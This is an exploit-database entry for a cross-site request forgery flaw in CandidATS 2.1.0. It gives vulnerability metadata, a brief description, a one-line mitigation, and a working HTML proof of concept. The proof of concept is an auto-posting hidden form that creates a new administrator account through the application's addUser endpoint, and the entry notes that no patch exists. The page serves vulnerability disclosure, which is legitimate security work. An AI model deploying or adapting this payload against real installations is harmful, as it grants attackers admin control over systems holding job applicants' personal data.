CandidATS 2.1.0 - Cross-Site Request Forgery (Add Admin)

vendor:

CandidATS

by:

J3rryBl4nks

6.8

CVSS

MEDIUM

Cross-Site Request Forgery

352

CWE

Product Name: CandidATS

Affected Version From: 2.1.0

Affected Version To: 2.1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:candidats:candidats:2.1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Ubuntu 19/Kali Rolling

2020

CandidATS 2.1.0 – Cross-Site Request Forgery (Add Admin)

The Candid ATS Web application is vulnerable to CSRF to add a new admin user. A proof of concept is provided in the text, which includes a form with hidden inputs that can be used to add a new admin user.

Mitigation:

Implementing a CSRF token in the application can help prevent this type of attack.

Source

Exploit-DB raw data:

# Title: CandidATS 2.1.0 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-02-21
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://sourceforge.net/u/auieo/profile/
# Software Link: https://sourceforge.net/projects/candidats/files/#Version 2.1.0
# Tested on Ubuntu 19/Kali Rolling

# The Candid ATS Web application is vulnerable to CSRF to add a new admin user:
#CSRF Proof of Concept:

    <html>
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="http://HOSTNAME/Candid/index.php?m=settings&a=addUser" method="POST">
          <input type="hidden" name="postback" value="postback" />
          <input type="hidden" name="role" value="none" />
          <input type="hidden" name="firstName" value="Test" />
          <input type="hidden" name="lastName" value="User" />
          <input type="hidden" name="email" value="test&#64;test&#46;com" />
          <input type="hidden" name="username" value="Test" />
          <input type="hidden" name="password" value="password" />
          <input type="hidden" name="retypePassword" value="password" />
          <input type="hidden" name="roleid" value="2" />
          <input type="hidden" name="accessLevel" value="500" />
          <input type="hidden" name="submit" value="Add&#32;User" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>